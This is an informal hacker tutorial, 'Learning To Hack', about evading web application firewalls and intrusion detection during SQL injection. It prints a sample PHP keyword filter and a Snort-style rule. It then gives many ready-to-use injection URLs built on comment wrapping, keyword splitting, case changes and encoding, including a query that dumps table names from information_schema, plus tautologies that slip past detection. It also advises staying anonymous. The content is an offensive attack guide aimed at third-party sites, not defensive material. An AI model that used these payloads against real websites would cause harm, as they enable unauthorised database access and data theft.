Learning To Hack

Windows Application Firewall bypassing and Intrusion Detection

Tutorial provided by

InQontroll

First of all what do you need?

* A vulnerable webstite. (error based)

* Text Editor to write down all filtered out options.

Part 1: WAF bypassing

+-- Short explenation.
+-- Comments we can use.
+-- Spliting, replacing keywords.
+-- Capitalization.
+-- Combining methode's.
+-- Using characters.
+-- Split the sql statement.
+-- Encoding characters.

Part 2: Intrusion detection.

WAF Bypassing

WAF, Web Application Firewall is an attempt from administratord to secure the network

but only with a filter we all know you can't do that 100%.

WAF bypassing is not that easy remember this

WAF bypassing is gambling

If the one word is filtered try another

Stay trying and combining until you get a hit

How does a WAF file look like?

Code:

/*
$_GET = array_map('trim', $_GET);
//$_POST = array_map('trim', $_POST);
$_COOKIE = array_map('trim', $_COOKIE);
$_REQUEST = array_map('trim', $_REQUEST);
if(get_magic_quotes_gpc()):
    $_GET = array_map('stripslashes', $_GET);
   //$_POST = array_map('stripslashes', $_POST);
    $_COOKIE = array_map('stripslashes', $_COOKIE);
    $_REQUEST = array_map('stripslashes', $_REQUEST);
endif;
$_GET = array_map('mysql_real_escape_string', $_GET);
$_POST = array_map('mysql_real_escape_string', $_POST);
$_COOKIE = array_map('mysql_real_escape_string', $_COOKIE);
$_REQUEST = array_map('mysql_real_escape_string', $_REQUEST);
*/
// END OF ANTI MYSQL INJECTION

/* Logging */

$locatie = $_SERVER['REQUEST_URI'];
$array = Array();
$array[] = "mysql";
$array[] = "query";
$array[] = ")";
$array[] = ";";
$array[] = "}";
$array[] = "<script>";
$array[] = "</script>";
$array = Array();
$array[] = "mysql";
$array[] = ")";
$array[] = ";";
$array[] = "}";
$array[] = "INSERT";
$array[] = "DROPTABLE";
$array[] = "TRUNCATE";

$array[] = "UPDATE";
$array[] = "COOKIE";

$array[] = "FILES";
$array[] = "POST";
$array[] = "REQUEST";
$array[] = "SERVER";
$array[] = "INSERT";
$array[] = "%40";
$array[] = "%20";
$array[] = "";
$array[] = "DROPTABLE";
$array[] = "TRUNCATE";
$array[] = "WHERE";
$array[] = "VALUES";
$array[] = "SELECT";
$array[] = "FROM";
$array[] = "exit";
$array[] = "'";
$array[] = '"';
$array[] = ",";
$array[] = "`";
$array[] = "echo";

foreach($array As $posinject) {
if(eregi($posinject,$locatie)) {
$time = 'NOW()';

mysql_query("INSERT INTO `injection`(`user_id`, `ip`, `location`, `date`)
VALUES ('".ID."', '".$_SERVER[REMOTE_ADDR]."', '".$locatie."', '".$tijd."')") or die(mysql_error());

header("location: news.php");

exit();

}
}

This is a WAF PHP script

As you can see the filter out some important words and signs.

It logs IP 2. So it's important to be anonymous all the time.

Now the part comes where we need to bypass all of this.

WAF bypassing - comments we can use

First of all i would like you to have a look at these comments.

because these will bypass alot allready.

how do we do this, where do we use them and what do they exactly do.

Well let's start with /**/, (), #, --, +--+,--+-, -- -,,%20,/,//, < changing a . into, sometimes does the trick too.

/**/ this one is the most common to us.

it allows us to execute full words in our query without them being filtered out.

of course if the WAF has more then one filter this could get tricky.

Using comment in practice:

Code:

www.[site].com/index.php?id=-1+/*!union*/+select+1,2,3--+-

I get an error saying forbiden Somthing something ans whit the word select in it (if your lucky)

then i need to bypass the filter for select to

Code:

www.[site].com/index.php?id=-1+/*!union*/+/*!select*/+1,2,3--+-

but as you see in my WAF doc I am not that lucky

and I get redirected to news.php because the file says so

Let's try changing that with: +select+1,2,3--+-

Nope i got filtered out again.

WAF Bypassing - Spliting, replacing keywords

To go further where I ended before i am going to split the code instead of using the comments.

Code:

www.[site].com/index.php?id=-1+uni>on+sel>ect+1,2,3--+-

there will be cases this will work do not forget this one.

but not always.

There is another method called replacing the key words.

Code:

www.[site].com/index.php?id=-1+UNIunionON+SeLselectECT+1,2,3--+-

How does this work?

wel we all know the waf filteres out union and select.

look closely.

UNIunionON+ SELselectECT

he will filter out those 2 red words. 

when he did that we requested exactly the same word at the database.

the filter is not good enough to replace that one.

if your lucky of course.

Another simple option

WAF Bypassing - Capitalization

Some other easy method is simply capitalizing the sql query's.

for example instead of union UnIoN this could escape our waf easely. (in some cases)!

WAF Bypassing - Combining Methods

We can combine this with comments and other WAF bypass methods. example:

Code:

www.[site].com/index.php?id=-1+/*!UnIoN*/+SeLeCt+1,2,3--+-

Combining these could get you of radar fast. but this is all basic stuff people

You need to learn to combine as much as possible

without a brain you can't WAF Bypass

A full line getting tables could look like this

but it will probably get mutch worse

Code:

www.[site].com/index.php?id=-1+/*!UnIoN*/+SeLeCT+1,2,group_concat(/*!table_name*/)+FrOM+/*information_schema*/,TaBlEs+/*!WHERE*/+/*!TaBlE_ScHeMa*/+like+database()- -

I also changed 2 other things here.

changing the . to a , as i said before could pass the waf radar.

and i changed the = at the end into like because it could also filter the = to something..

WAF Bypassing - using characters

By using a range of characters to bypass filter we could get true the waf.

following characters can do this:

Code:

[], ;, :, \/, $, €, |, ?, ", ', *, %, £ and lots more.

 and lots more.by using these characters in lots of cases union and select are not filtered. but the sign * is.

which means replacing the keywords would not work. as shown before in my tutorial.

We could do this instead:

Code:

www.[site].com/index.php?id=-1+uni*on+sel*ect+1,2,3--+-

this is not mutch change from spliting the keywords.

only here the *¨sign is filtered out. so the union+select wil be complete as soon as it is filtered.

some others. when filtered out.

we could do (uni)(on)+(sel)(ect)

or using the quotes 'uni"on'+'sel"ect' this does not work whit MsSQL

WAF Bypassing - Split SQL statement

In some cases parts of the SQL statement are filtered out. for example union.

or the select

This means by splitting this and only using id=-1+union+1,2,3--+- or the other way arround.

we could bypass the filter.

WAF Bypassing - encoding characters

By encoding characters for example the '

or the white space.

you could geth true the waf because he dous not filter encoded characters.

IN MOST CASES THEY DO.

this is for when you get stuck i guess.

you could look for double encoding characters searching google. ill previeuw a fieuw here.

single quote ' %u0027

open ( = %u0028

close ) = %u0029

and a white space %u0020

single encoding is almost always filtered by the waf. so try double.

Now we should have covered the basics.

lets step over to Filter evasion.

PART 2: Intrusion Detection!

Intrusion detection systems disable us from doing or 1=1.

we need to bypass this intrusion detection in order to check vuln.

Example of an intrusion detection system.

Code:

alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg: “SQL Injection attack”;
flow: to_server, established; content: “' or 1=1 --”; nocase; sid: 1; rev:1;

This is of course the simpliest example i could give you.

This PHP code says:

alert when he gets this or 1=1 in his http server/ http ports so he displays a message: msg: "sql injection attack":

that's it. but they could filter out a lot more.

Let's take it easy

if the system sais. i cant do 1=1 

phuh why wont i do 2=2 that simple.

but since or and = could be filtered apart from the or 1=1

Let's do this

and 2 like 2

that should work.

of course security guy wont give up.

Like does not work. then do this 1 < 2 this means 1 is smaller then 2. database should return true.

unless it is filtered.

We could do 2 > 1 2 is bigger then 1. true.

This is so easy its like math.

Let's do: and 1230 - 1 like 1229

works too

Using unicode to encode your input may work too

unicode cheat sheet

You could use different encodings too

This does not need anymore explanation I guess